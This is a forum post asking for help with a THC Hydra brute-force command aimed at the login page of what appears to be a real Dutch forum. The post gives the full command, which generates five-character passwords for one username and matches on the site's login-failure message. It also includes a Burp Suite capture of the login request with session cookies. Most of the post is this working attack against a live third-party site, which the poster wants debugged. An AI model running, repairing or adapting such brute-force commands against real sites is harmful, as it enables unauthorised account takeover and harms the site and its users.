THC Hydra Doesn't Work!!

Hello everyone!

I've made a command for attacking a webapp. I've tested it with my own credentials but it doesn't work. Here's the command:

hydra -l hollyghost1205 -x 5:5:aA1.! 82.161.230.90 http-post-form "/forums/ucp.php:username=^USER^&password=^PASS^:Het opgegeven wachtwoord klopt niet, controleer je wachtwoord en probeer nogmaals. Als dit probleem zich blijft voordoen, contacteer dan de forumbeheerder." -V

This part is the Login Failed message: Het opgegeven wachtwoord klopt niet, controleer je wachtwoord en probeer nogmaals. Als dit probleem zich blijft voordoen, contacteer dan de forumbeheerder.

I've double-checked the command. What did go wrong?

Note: this is the output from BurpSuite:

POST /forums/ucp.php?mode=login&sid=b6e817b23133ca67b00c4bcb4667081a HTTP/1.1

Host: bokt.nl

Connection: close

Content-Length: 90

Cache-Control: max-age=0

Origin: bokt.nl

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

Referer: bokt.nl/forums/ucp.php?mode=login&redir=%2F

Accept-Encoding: gzip, deflate

Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: SERVERID=podagros; ga=GA1.2.1677856791.1524770423; gid=GA1.2.769271057.1524770423; gat=1; fu=1; fk=; fsid=b6e817b23133ca67b00c4bcb4667081a; fdfpint=he

username=lol&password=lol&redirect=%2F&sid=b6e817b23133ca67b00c4bcb4667081a&login=Inloggen

Who sees the problem?

Thanks in advance!

HollyGhost1205